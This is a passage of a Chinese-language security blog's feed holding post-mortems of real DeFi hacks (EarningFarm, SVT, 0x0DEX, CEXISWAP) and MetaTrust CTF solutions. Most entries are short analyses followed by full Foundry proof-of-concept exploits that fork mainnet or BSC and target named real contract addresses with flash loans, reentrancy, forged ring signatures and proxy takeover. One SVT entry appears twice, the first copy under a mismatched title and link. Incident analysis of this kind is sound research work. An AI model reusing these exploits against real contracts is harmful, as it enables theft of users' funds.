WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() ); emit log_named_decimal_uint( "Attacker WETH balance after exploit, ETH PROFIT", WETH.balanceOf(address(this)) - 20_000 ether, WETH.decimals() ); }}</code></pre>]]></content>
</entry>
<entry>
<title>EarningFram</title>
<link href="/2023/10/03/20230809-EarningFram/"/>
<url>/2023/10/03/20230809-EarningFram/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>EarningFram被攻击,损失$286K。(EarningFarm项目通过吸收用户资金去投资Aave,得到收益,用户在存入ETH,得到share)</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>我们通过<a href="https://explorer.phalcon.xyz/tx/eth/0x6e6e556a5685980317cb2afdb628ed4a845b3cbd1c98bdaffd0561cb2c4790fa?line=686">phalcon</a>来分析。</p><p>我们能发现在withdraw中,当触发攻击合约的fallback()方法时,在fallback中将share转给另一个被攻击者控制的地址。(又没用检查-影响-交互模式!!!)</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>pragma solidity ^0.8.10;import "forge-std/Test.sol";import "./interface.sol";// Vulnerable Contract : https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e// Attack Tx : 0x6e6e556a5685980317cb2afdb628ed4a845b3cbd1c98bdaffd0561cb2c4790fainterface IENF_ETHLEV is IERC20 { function deposit(uint256 assets, address receiver) external payable returns (uint256); function withdraw(uint256 assets, address receiver) external returns (uint256); function convertToAssets(uint256 shares) external view returns (uint256); function totalAssets() external view returns (uint256);}contract ContractTest is Test { IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)); Uni_Pair_V3 Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640); IENF_ETHLEV ENF_ETHLEV = IENF_ETHLEV(0x5655c442227371267c165101048E4838a762675d); address Controller = 0xE8688D014194fd5d7acC3c17477fD6db62aDdeE9; Exploiter exploiter; uint256 nonce; function setUp() public { vm.createSelectFork("mainnet", 17_875_885); vm.label(address(WETH), "WETH"); vm.label(address(ENF_ETHLEV), "ENF_ETHLEV"); vm.label(address(Pair), "Piar"); exploiter = new Exploiter(); } function testExploit() external { while (ENF_ETHLEV.totalAssets() > 1 ether) { deal(address(this), 0); Pair.flash(address(this), 0, 10_000 ether, abi.encode(10_000 ether)); emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() ); } } function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external { WETH.withdraw(WETH.balanceOf(address(this))); ENF_ETHLEV.approve(address(ENF_ETHLEV), type(uint256).max); uint256 assets = ENF_ETHLEV.totalAssets(); ENF_ETHLEV.deposit{value: assets}(assets, address(this)); // deposit eth, mint shares uint256 assetsAmount = ENF_ETHLEV.convertToAssets(ENF_ETHLEV.balanceOf(address(this))); ENF_ETHLEV.withdraw(assetsAmount, address(this)); // withdraw all assets, burn small shares by reentracny, re-enter point exploiter.withdraw(); // withdraw all assets WETH.deposit{value: address(this).balance}(); uint256 amount = abi.decode(data, (uint256)); WETH.transfer(address(Pair), amount1 + amount); } receive() external payable { if (msg.sender == Controller) { ENF_ETHLEV.transfer(address(exploiter), ENF_ETHLEV.balanceOf(address(this)) - 1); nonce++; } }}contract Exploiter { IENF_ETHLEV ENF_ETHLEV = IENF_ETHLEV(0x5655c442227371267c165101048E4838a762675d); function withdraw() external { ENF_ETHLEV.approve(address(ENF_ETHLEV), type(uint256).max); uint256 assetsAmount = ENF_ETHLEV.convertToAssets(ENF_ETHLEV.balanceOf(address(this))); ENF_ETHLEV.withdraw(assetsAmount, address(this)); payable(msg.sender).transfer(address(this).balance); } receive() external payable {}}</code></pre>]]></content>
</entry>
<entry>
<title>MetaTrust</title>
<link href="/2023/10/03/MetaTrust/"/>
<url>/2023/10/03/MetaTrust/</url>
<content type="html"><![CDATA[<p>最近参加了MetaTrust CTF,于是就有这篇博客。(注:本篇题目并不全,只有一些我认为有意思的)</p><h1 id="Achilles"><a href="#Achilles" class="headerlink" title="Achilles"></a>Achilles</h1><h2 id="目标"><a href="#目标" class="headerlink" title="目标"></a>目标</h2><p>要我们获取至少100ether的weth。</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>有两个ERC20token,一个是标准的WTETH,一个是Achilles,在Achilles中一个 _airdrop()方法去空投,空投目标的地址是用异或,显然我们可以控制。空投的数量airdropAmount可以由Airdrop()方法设置,但是需要使得池子里的WETH数量是Achilles的5倍以上,这我们能通过闪贷实现。</p><h2 id="题解"><a href="#题解" class="headerlink" title="题解"></a>题解</h2><pre><code>pragma solidity ^0.8.0;import {Test} from "forge-std/Test.sol";import {SetUp} from "../src/Achilles/SetUp.sol";import {Achilles} from "../src/Achilles/Achilles.sol";import {PancakePair, IPancakeCallee} from "../src/Achilles/PancakeSwap.sol";import {WETH} from "../src/Achilles/WETH.sol";contract AchillesTest is Test { SetUp public _setUp; Solver public solver; function setUp() external { _setUp = new SetUp(); solver = new Solver(); vm.roll(18189701); } function test_hackAchilles() public { solver.solve(_setUp); assertTrue(_setUp.isSolved()); }}contract Solver is IPancakeCallee { bytes1 private constant START = hex"ME"; uint256 private START_PAIR_BALANCE = 1000 ether; Achilles private achilles; PancakePair private pair; function solve(SetUp setUp) external { achilles = setUp.achilles(); pair = setUp.pair(); pair.swap(START_PAIR_BALANCE - 1, 0, address(this), hex"aa"); getAirdropToken(address(pair)); pair.sync(); pair.swap(0, 100 ether, address(this), hex"ff"); setUp.weth().transfer(msg.sender, 100 ether); selfdestruct(payable(msg.sender)); } function pancakeCall(address, uint256 amount0, uint256, bytes calldata data) external { if (msg.sender != address(pair)) { revert("FAIL"); } uint256 airdropAmount = 1; if (START == data[0]) { achilles.Airdrop(airdropAmount); achilles.transfer(msg.sender, amount0); getAirdropToken(address(this)); } else { achilles.transfer(msg.sender, airdropAmount); } } function getAirdropToken(address to) private { address vanishingAddress; assembly { vanishingAddress := or(address(), number()) } achilles.transferFrom(vanishingAddress, to, 0); }}</code></pre><h1 id="Foo"><a href="#Foo" class="headerlink" title="Foo"></a>Foo</h1><h2 id="目标-1"><a href="#目标-1" class="headerlink" title="目标"></a>目标</h2><p>本题要求我们能通过4个stage和一个set up的检测。</p><h2 id="分析-1"><a href="#分析-1" class="headerlink" title="分析"></a>分析</h2><p>先看set up</p><pre><code> require(uint256(uint160(msg.sender)) % 1000 == 137, "!good caller");</code></pre><p>用CREATE2爆破即可。</p><p>然后是stage1</p><pre><code> (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("check()")); require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("1337")), "stage1: !check"); (, data) = msg.sender.staticcall(abi.encodeWithSignature("check()")); require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("13337")), "stage1: !check2");</code></pre><p>需要俩次返回值不同。因为是staticcall,所以无法使用变量来判断,那我们可以用gas剩余量来判断,即:第一次访问是热地址,返回”1337”,第二次访问是冷地址,消耗100gas,返回“13337”。</p><p>然后是stage2</p><pre><code>require(this._stage2() == 7, "!stage2");</code></pre><p>要求_stage2恰好返回7,显然可以通过给调用增加gas限制来实现。</p><p>然后是stage3</p><pre><code> for(uint i=0 ; i<8 ; i++) { require(challenge[i] == answer[i], "stage3: !sort"); }</code></pre><p>要求猜数,题中使用block.timestamp来构造随机数,但在在同一笔交易中我们也能得到。</p><p>最后是stage4</p><pre><code>function stage4() external { require(stats[3][msg.sender], "goto stage3"); (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("pos()")); bytes32 pos = abi.decode(data, (bytes32)); assembly { sstore(pos, 0x1) } } function isSolved() external view returns (bool) { return stats[4][who]; }</code></pre><p>要求我们找到stats[4][5]的位置,并改为true。这个简单,写个脚本算一下即可。</p><h2 id="题解-1"><a href="#题解-1" class="headerlink" title="题解"></a>题解</h2><pre><code>pragma solidity ^0.8.0;import {Test} from "forge-std/Test.sol";import {Foo} from "../src/Foo.sol";contract FooTest is Test { Foo public foo; function setUp() external { foo = new Foo(); } function test_hackFoo() public { uint256 salt = findSalt(); Solver solver = new Solver{salt: bytes32(salt)}(); solver.solve(foo); assertTrue(foo.isSolved()); } function findSalt() private view returns (uint256 correctSalt) { bytes32 creationCodeHash = keccak256(type(Solver).creationCode); for (uint256 salt;; salt++) { bytes32 result = keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, creationCodeHash)); if (uint160(uint256(result)) % 1000 == 137) { return salt; } } }}contract Solver { uint256 private sortedTimestamp; function solve(Foo foo) external { foo.setup(); bool isSolved; while (!isSolved) { try foo.stage1() { isSolved = true; } catch {} } isSolved = false; for (uint256 gas = 40_000; !isSolved; gas += 500) { try foo.stage2{gas: gas}() { isSolved = true; } catch { if (gas > 50_000) revert(); } } setSortedStorageArr(); foo.stage3(); foo.stage4(); } function check() external view returns (bytes32 answer) { if (gasleft() & 1 == 0) { return keccak256(abi.encodePacked("1337")); } else { return keccak256(abi.encodePacked("13337")); } } function sort(uint256[] calldata ) external view returns (uint256[] memory) { uint256[] memory sortedTimestampArr = new uint[](8); uint256 cachedSortedTimestamp = sortedTimestamp; for (uint256 i; i < sortedTimestampArr.length; i++) { sortedTimestampArr[i] = uint32(cachedSortedTimestamp >> 32 * i); } return sortedTimestampArr; } function pos() external view returns (bytes32 slot) { uint256 keyValue = 4; uint256 mappingSlot = 1; bytes32 intermediateSlot = calcMappingSlot(keyValue, mappingSlot); return calcMappingSlot(uint160(address(this)), uint256(intermediateSlot)); } function calcMappingSlot(uint256 key, uint256 mappingSlot) private pure returns (bytes32 slot) { return keccak256(abi.encodePacked(key, mappingSlot)); } function setSortedStorageArr() private { uint256[] memory timestampElements = new uint[](8); timestampElements[0] = (block.timestamp & 0xf0000000) >> 28; timestampElements[1] = (block.timestamp & 0xf000000) >> 24; timestampElements[2] = (block.timestamp & 0xf00000) >> 20; timestampElements[3] = (block.timestamp & 0xf0000) >> 16; timestampElements[4] = (block.timestamp & 0xf000) >> 12; timestampElements[5] = (block.timestamp & 0xf00) >> 8; timestampElements[6] = (block.timestamp & 0xf0) >> 4; timestampElements[7] = (block.timestamp & 0xf) >> 0; timestampElements = bubbleSort(timestampElements); for (uint256 i; i < timestampElements.length; i++) { sortedTimestamp = timestampElements[i] << 32 * i; } } function bubbleSort(uint256[] memory arr) private pure returns (uint256[] memory) { for (uint256 i = 0; i < 8; i++) { for (uint256 j = i + 1; j < 8; j++) { if (arr[i] > arr[j]) { uint256 tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; } } } return arr; }}</code></pre><h1 id="StakingPool"><a href="#StakingPool" class="headerlink" title="StakingPool"></a>StakingPool</h1><h2 id="目标-2"><a href="#目标-2" class="headerlink" title="目标"></a>目标</h2><p>要求我们的账户rewardToken余额为 1e8 * 1e18,rewardToken2余额大于 1e8 * 1e18。</p><h2 id="分析-2"><a href="#分析-2" class="headerlink" title="分析"></a>分析</h2><p>以共有3种token,其中stakedToken、rewardToken为标准的ERC20,rewardToken2<br>为ERC20V2,通过审查不难发现调ERC20V2的_transfer()方法时,当from=to时,from会凭空产生token。</p><p>再看StakingPool,在调合约的withdraw()和deposit()方法时,会自动领取奖励,因为这样可以保证上次领取的时间到这次领取(存款改变前)、以及下次领取和这次领取(存款改变后)的用户存款量是一致的。但是合约中的transfer()方法将这种设计破坏了。</p><h2 id="题解-2"><a href="#题解-2" class="headerlink" title="题解"></a>题解</h2><pre><code>pragma solidity ^0.8.0;import {Test} from "forge-std/Test.sol";import {StakingPools, StakingPoolsDeployment, ERC20} from "../src/StakingPool/StakingPoolsDeployment.sol";contract StakingPoolTest is Test { StakingPoolsDeployment private deployer; function setUp() external { deployer = new StakingPoolsDeployment(); deployer.faucet(); } function test_hackStakingPool() external { solveStageA(); solveStageB(); assertTrue(deployer.isSolved()); } function solveStageA() private { StakingPools pool = deployer.stakingPools(); uint256 amount = 1; pool.stakedToken().approve(address(pool), amount); pool.deposit(amount); vm.roll(pool.stakingEndBlock()); address secondAddress = address(0xdeadbeef); ERC20 token = deployer.rewardToken(); while (token.balanceOf(address(pool)) != 0) { pool.withdraw(0); pool.transfer(secondAddress, amount); pool.emergencyWithdraw(); vm.prank(secondAddress); pool.transfer(address(this), amount); } } function solveStageB() private { ERC20 token = deployer.rewardToken2(); while (!deployer.stageB()) { uint256 balance = token.balanceOf(address(this)); token.transfer(address(this), balance); } }}</code></pre>]]></content>
</entry>
<entry>
<title>20230826 SVT</title>
<link href="/2023/09/26/20230908-APIG/"/>
<url>/2023/09/26/20230908-APIG/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>BSC$STV 受到攻击。损失超过$ 500K。攻击者发起了多次攻击,以其中一次为例。</p><p>TX:0xf2a0c957fef493af44f55b201fbc6d82db2e4a045c5c856bfe3d8cb80fa30c12</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>我们用<a href="0xf2a0c957fef493af44f55b201fbc6d82db2e4a045c5c856bfe3d8cb80fa30c12">phalcon</a>来分析。</p><p>通过phalcon的调用栈我们发现攻击者不断的买卖STV来获取利润。</p><p>由于STV的代码未开源,我只能猜测可能是价格计算有缺陷而导致的价格操纵案例。</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.10;import "forge-std/Test.sol";import "./interface.sol";interface ISVTpool { function buy(uint256 amount) external; function sell(uint256 amount) external;}contract ContractTest is DSTest { IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 SVT = IERC20(0x657334B4FF7bDC4143941B1F94301f37659c6281); ISVTpool pool = ISVTpool(0x2120F8F305347b6aA5E5dBB347230a8234EB3379); address dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { cheats.createSelectFork("bsc", 31178238 -1); } function testExploit() public { BUSD.approve(address(pool), type(uint256).max); SVT.approve(address(pool), type(uint256).max); uint256 flash_amount = BUSD.balanceOf(dodo); DVM(dodo).flashLoan(0, flash_amount, address(this), new bytes(1)); emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { // Buy SVT with BUSD uint256 amount = BUSD.balanceOf(address(this)); pool.buy(amount/2); uint256 svtBalance1 = SVT.balanceOf(address(this)); pool.buy(amount - amount/2); uint256 svtBalance2 = SVT.balanceOf(address(this)) - svtBalance1; console2.log(svtBalance2); console2.log(svtBalance1); // Sell SVT for BUSD pool.sell(svtBalance2); pool.sell(SVT.balanceOf(address(this)) * 62 / 100); BUSD.transfer(dodo, quoteAmount); }}</code></pre>]]></content>
</entry>
<entry>
<title>20230826 SVT</title>
<link href="/2023/09/26/20230826-SVT/"/>
<url>/2023/09/26/20230826-SVT/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>BSC $STV 受到攻击,损失超过$ 500K。</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>我们通过<a href="https://explorer.phalcon.xyz/tx/bsc/0xf2a0c957fef493af44f55b201fbc6d82db2e4a045c5c856bfe3d8cb80fa30c12">phalcon</a>来分析。</p><p>我们通过调用栈发现,攻击者通过DPPOracle闪贷后,不断买卖STV Token,从而获利。</p><p>由于代码未开源,我只能猜测可能是代币的价格计算有缺陷而导致的价格被操纵。</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.10;import "forge-std/Test.sol";import "./interface.sol";interface ISVTpool { function buy(uint256 amount) external; function sell(uint256 amount) external;}contract ContractTest is DSTest { IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 SVT = IERC20(0x657334B4FF7bDC4143941B1F94301f37659c6281); ISVTpool pool = ISVTpool(0x2120F8F305347b6aA5E5dBB347230a8234EB3379); address dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { cheats.createSelectFork("bsc", 31178238 -1); } function testExploit() public { BUSD.approve(address(pool), type(uint256).max); SVT.approve(address(pool), type(uint256).max); uint256 flash_amount = BUSD.balanceOf(dodo); DVM(dodo).flashLoan(0, flash_amount, address(this), new bytes(1)); emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { // Buy SVT with BUSD uint256 amount = BUSD.balanceOf(address(this)); pool.buy(amount/2); uint256 svtBalance1 = SVT.balanceOf(address(this)); pool.buy(amount - amount/2); uint256 svtBalance2 = SVT.balanceOf(address(this)) - svtBalance1; console2.log(svtBalance2); console2.log(svtBalance1); // Sell SVT for BUSD pool.sell(svtBalance2); pool.sell(SVT.balanceOf(address(this)) * 62 / 100); BUSD.transfer(dodo, quoteAmount); }}</code></pre>]]></content>
</entry>
<entry>
<title>20230911 0x0DEX</title>
<link href="/2023/09/25/20230911-0x0DEX/"/>
<url>/2023/09/25/20230911-0x0DEX/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>OxODexPool合约中的swapOnWithdrawal()方法被黑客利用,导致被盗取39.9964Ether(约$61K)。<br>0x0DEX通过deposit()和withdraw()方法使用户能够私下转移资金。0x0DEX后来引入了swapOnWithdrawal()方法,它通过允许用户私下交换他们的存款资金(ETH)来扩展协议的功能。这个交换取款功能被利用了。</p><p>TX:0x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbec</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>我们通过<a href="https://explorer.phalcon.xyz/tx/eth/0x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbec">phalcon</a>来分析。</p><p>通过phalcon我们很容易发现怪异之处,当攻击者存入10Ether后通过swapOnWithdrawal()取出了价值9.97Ehter的USDC,然后攻击者又存入了0.1Ether,但依然能取出价值9.97Ether的USDC。很明显漏洞就在swapOnWithdrawal()中。</p><pre><code> function swapOnWithdrawal( address tokenOut, address payable recipient, uint256 relayerGasCharge, uint256 amountOut, uint256 deadline, WithdrawalData memory withdrawalData ) external { require(recipient != address(0), "ZERO_ADDRESS"); withdraw( recipient, withdrawalData, relayerGasCharge ); uint amountIn = _lastWithdrawal; uint relayerFee = getRelayerFeeForAmount(amountIn); address payable relayerAddress = IOxODexFactory(factory).relayerAddress(); (bool sent, ) = relayerAddress.call{value: relayerFee}(""); require(sent, "FAILED_TO_SEND_RELAYER_FEE"); amountIn -= relayerFee;</code></pre><p>通过代码我们能发现发给我们的 amountIn = _lastWithdrawal - relayerFee。_lastWithdrawal在withdraw中被赋值。</p><pre><code>if(withdrawalData.wType == Types.WithdrawalType.Direct){ _sendFundsWithRelayerFee(withdrawalData.amount - relayerGasCharge, recipient); }else{ _lastWithdrawal = withdrawalData.amount - relayerGasCharge; }</code></pre><p>很明显_lastWithdrawal并不会再每提款时更新,只在使用WithdrawalType.Swap时更新。思路已经明了。</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>// SPDX-License-Identifier: SEE LICENSE IN LICENSEpragma solidity ^0.8.10;import "forge-std/Test.sol";import "./interface.sol";// Attacker : https://etherscan.io/address/0xcf28e9b8aa557616bc24cc9557ffa7fa2c013d53// Attacker Contract : https://etherscan.io/address/0xc44ea7650b27f83a6b310a8fed9e9daf2864a65b// Vulnerable Contract : https://etherscan.io/address/0x29d2bcf0d70f95ce16697e645e2b76d218d66109// Tx : 0x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbeclibrary Types { enum WithdrawalType { Direct, Swap }}struct WithdrawalData { uint256 amount; uint256 ringIndex; uint256 c0; uint256[2] keyImage; uint256[] s; Types.WithdrawalType wType;}interface IOxODexPool { function deposit( uint256 _amount, uint256[4] memory _publicKey ) external payable; function withdraw( address payable recipient, WithdrawalData memory withdrawalData, uint256 relayerGasCharge ) external; function swapOnWithdrawal( address tokenOut, address payable recipient, uint256 relayerGasCharge, uint256 amountOut, uint256 deadline, WithdrawalData memory withdrawalData ) external; function getCurrentRingIndex( uint256 amountToken ) external view returns (uint256); function getRingHash( uint256 _amountToken, uint256 _ringIndex ) external view returns (bytes32);}contract ContractTest is Test { IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616); WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 private constant Bx = 1368015179489954701390400359078579693043519447331113978918064868415326638035; uint256 private constant By = 9918110051302171585080402603319702774565515993150576347155970296011118125764; uint256 private constant Hx = 2286484483920925456308759965850684826720807236777393886284879343816677643124; uint256 private constant Hy = 1804024400776434902361310543986557260474938171670710692674407862657333646188; uint256 private constant curveN = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001; function setUp() public { vm.createSelectFork("mainnet", 18115707); vm.label(address(OxODexPool), "OxODexPool"); vm.label(address(WETH), "WETH"); vm.label(address(USDC), "USDC"); vm.label(address(BalancerVault), "BalancerVault"); vm.label(address(Router), "Router"); } function testExploit() public { deal(address(this), 0 ether); uint256 loan = 11 ether; address[] memory tokens = new address[](1); tokens[0] = address(WETH); uint256[] memory amounts = new uint256[](1); amounts[0] = loan; BalancerVault.flashLoan(address(this), tokens, amounts, ""); emit log_named_decimal_uint( "Attacker ETH balance after exploit", address(this).balance, 18 ); } function receiveFlashLoan( address[] memory, uint256[] memory amounts, uint256[] memory fees, bytes memory ) external payable { WETH.withdraw(amounts[0]); exploit(); USDC.approve(address(Router), type(uint256).max); address[] memory path = new address[](2); path[0] = address(USDC); path[1] = address(WETH); Router.swapExactTokensForETH( USDC.balanceOf(address(this)), 0, path, address(this), block.timestamp ); WETH.deposit{value: amounts[0] + fees[0]}(); WETH.transfer(address(BalancerVault), amounts[0] + fees[0]); } function exploit() internal { uint256 poolETHBalance = address(OxODexPool).balance; poolETHBalance = 10 ether - (poolETHBalance - (poolETHBalance / 10 ether) * 10 ether); new ForceSend{value: poolETHBalance}(); WithdrawalData memory w; uint256 ringIndex = deposit(10 ether); w = withdrawData(address(this), 10 ether, ringIndex); w.wType = Types.WithdrawalType.Swap; OxODexPool.swapOnWithdrawal( address(USDC), payable(address(this)), 0, 0, block.timestamp, w ); while (address(OxODexPool).balance >= 10 ether) { ringIndex = deposit(0.1 ether); w = withdrawData(address(this), 0.1 ether, ringIndex); OxODexPool.swapOnWithdrawal( address(USDC), payable(address(this)), 0, 0, block.timestamp, w ); } } function addFee(uint256 realAmount) internal pure returns (uint256 total) { total = realAmount + (realAmount * 9) / 1000; } function deposit(uint256 amount) internal returns (uint256 ringIndex) { uint256[4] memory pks = [0x1, 0x2, Bx, By]; ringIndex = OxODexPool.getCurrentRingIndex(amount); OxODexPool.deposit{value: addFee(amount)}(amount, pks); } function withdrawData( address recv, uint256 amount, uint256 ringIndex ) internal view returns (WithdrawalData memory w) { bytes32 ringHash = OxODexPool.getRingHash(amount, ringIndex); uint256[2] memory c; uint256[2] memory s; (c, s) = generateSignature(ringHash, recv); w.amount = amount; w.ringIndex = ringIndex; w.c0 = c[0]; w.keyImage = [Hx, Hy]; w.s = new uint256[](2); w.s[0] = s[0]; w.s[1] = s[1]; } function generateSignature( bytes32 ringHash, address recv ) public view returns (uint256[2] memory c, uint256[2] memory s) { uint256[2] memory G; uint256[2] memory H; uint256[2] memory B; G[0] = 0x1; G[1] = 0x2; H[0] = Hx; H[1] = Hy; B[0] = Bx; B[1] = By; c[1] = createHash(ringHash, recv, G, H); s[1] = 1; c[0] = createHash( ringHash, recv, ecAdd(G, ecMul(B, c[1])), ecMul(H, c[1] + 1) ); s[0] = curveN + 1 - c[0]; } function ecAdd( uint256[2] memory p, uint256[2] memory q ) internal view returns (uint256[2] memory r) { assembly { let fp := mload(0x40) mstore(fp, mload(p)) mstore(add(fp, 0x20), mload(add(p, 0x20))) mstore(add(fp, 0x40), mload(q)) mstore(add(fp, 0x60), mload(add(q, 0x20))) pop(staticcall(gas(), 0x06, fp, 0x80, r, 0x40)) } } function ecMul( uint256[2] memory p, uint256 k ) internal view returns (uint256[2] memory kP) { assembly { let fp := mload(0x40) mstore(fp, mload(p)) mstore(add(fp, 0x20), mload(add(p, 0x20))) mstore(add(fp, 0x40), k) pop(staticcall(gas(), 0x07, fp, 0x60, kP, 0x40)) } } function createHash( bytes32 ringHash, address recv, uint256[2] memory p1, uint256[2] memory p2 ) internal pure returns (uint256 hash) { assembly { let fp := mload(0x40) mstore(fp, 0x1) mstore(add(fp, 0x20), 0x2) mstore(add(fp, 0x40), Bx) mstore(add(fp, 0x60), By) mstore(add(fp, 0x80), Hx) mstore(add(fp, 0xa0), Hy) mstore(add(fp, 0xd4), recv) mstore(add(fp, 0xc0), ringHash) mstore(add(fp, 0xf4), mload(p1)) mstore(add(fp, 0x114), mload(add(p1, 0x20))) mstore(add(fp, 0x134), mload(p2)) mstore(add(fp, 0x154), mload(add(p2, 0x20))) hash := mod(keccak256(fp, 0x174), curveN) } } receive() external payable {}}contract ForceSend { IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616); constructor() payable { selfdestruct(payable(address(OxODexPool))); }}</code></pre>]]></content>
</entry>
<entry>
<title>20230921 CEXISWAP</title>
<link href="/2023/09/24/20230921-CEXISWAP/"/>
<url>/2023/09/24/20230921-CEXISWAP/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>cexiswap被黑客攻击,黑客从中盗取了3w的USDT。(CEXISWAP是一个去中心化的多链交易所,通过贸易管道技术在DEX和CEX之间桥接流动性)</p><p>TX:0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>我们通过<a href="https://explorer.phalcon.xyz/tx/eth/0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e">phalcon</a>来看。攻击合约直接调用受害者的initialize(),使自己成为了admin,再调用受害者的upgradeToAndCall(),再upgradeToAndCall()中受害者再次delegatecall攻击合约的0x1de24bbf函数。</p><p>很明显,受害者为对initialize()进行访问限制,导致被攻击。</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>//SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.10;import"forge-std/Test.sol";import"./interface.sol";// Attacker : https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04// Attack Contract : https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1// Vulnerable Contract : https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305// Attack Tx : 0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59einterface ICEXISWAP { function initialize( string memory name, string memory ticker, address _treasuryWallet, address _communityWallet, address _admin, address _strategy ) external; function upgradeToAndCall( address newImplementation, bytes memory data ) external payable;}contract CEXISWAPTest is Test{ ICEXISWAP constant cexiswap = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305); IUSDT constant usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); Exploiter public exploiter; function setUp() public{ vm.createSelectFork("mainnet", 18182605); vm.label(address(cexiswap), "CEXISWAP"); vm.label(address(usdt), "USDT"); } function testexploit() public{ exploiter = new Exploiter(); exploiter.exploit(); }}contract Exploiter{ ICEXISWAP constant cexiswap = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305); IUSDT constant usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); bytes32 constant solt = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; address owner; function exploit() public{ cexiswap.initialize( "HAX", "HAX", address(this), address(this), address(this), address(this)); cexiswap.upgradeToAndCall( address(this),abi.encodePacked(this.exploit2.selector)); this.killMe(); } function exploit2() public{ owner = address(this); usdt.transfer(owner, usdt.balanceOf(address(this))); } function upgradeTo(address newImplementation) external { bytes32 _slot = solt; assembly { sstore(_slot, newImplementation) } } function killMe() public{ selfdestruct(payable(msg.sender)); }}</code></pre>]]></content>
</entry>
<entry>
<title>Paradigm CTF 2021</title>
<link href="/2023/09/10/Paradigm-CTF-2021/"/>
<url>/2023/09/10/Paradigm-CTF-2021/</url>
